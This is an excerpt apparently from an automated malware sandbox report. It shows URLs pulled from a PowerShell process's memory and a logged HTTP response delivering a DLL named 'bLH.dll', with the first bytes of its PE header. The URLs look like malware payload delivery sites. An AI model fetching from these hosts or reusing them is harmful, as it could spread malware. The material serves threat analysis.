                      Source: powershell.exe, 00000005.00000002.2101156102.0000000003734000.00000004.00000001.sdmpString found in memory: http://zieflix.teleskopstore.com/cgi-bin/Gt3S/
                      Source: powershell.exe, 00000005.00000002.2101156102.0000000003734000.00000004.00000001.sdmpString found in memory: https://somanap.com/wp-admin/P/
                      Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKCache-Control: no-cache, must-revalidatePragma: no-cacheContent-Type: application/octet-streamExpires: Wed, 06 Jan 2021 07:53:49 GMTLast-Modified: Wed, 06 Jan 2021 07:53:49 GMTServer: Microsoft-IIS/10.0Set-Cookie: 5ff56c8d1a339=1609919629; expires=Wed, 06-Jan-2021 07:54:49 GMT; Max-Age=60; path=/Content-Disposition: attachment; filename="bLH.dll"Content-Transfer-Encoding: binaryX-Powered-By: ASP.NETX-Powered-By-Plesk: PleskWinDate: Wed, 06 Jan 2021 07:53:48 GMTContent-Length: 192000Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 95 16 3a bb d1 77 54 e8 d1 77 54 e8 d1 77 54 e8 15 b2 99 e8 dc 77 54 e8 15 b2 9a e8 8e 77 54 e8 15 b2 9b e8 f8 77 54 e8 2d 00 eb e8 d0 77 54 e8 2d 00 e8 e8 d3 77 54 e8 d1 77 55 e8 53 77 54 e8 2d 00 ed e8 c0 77 54 e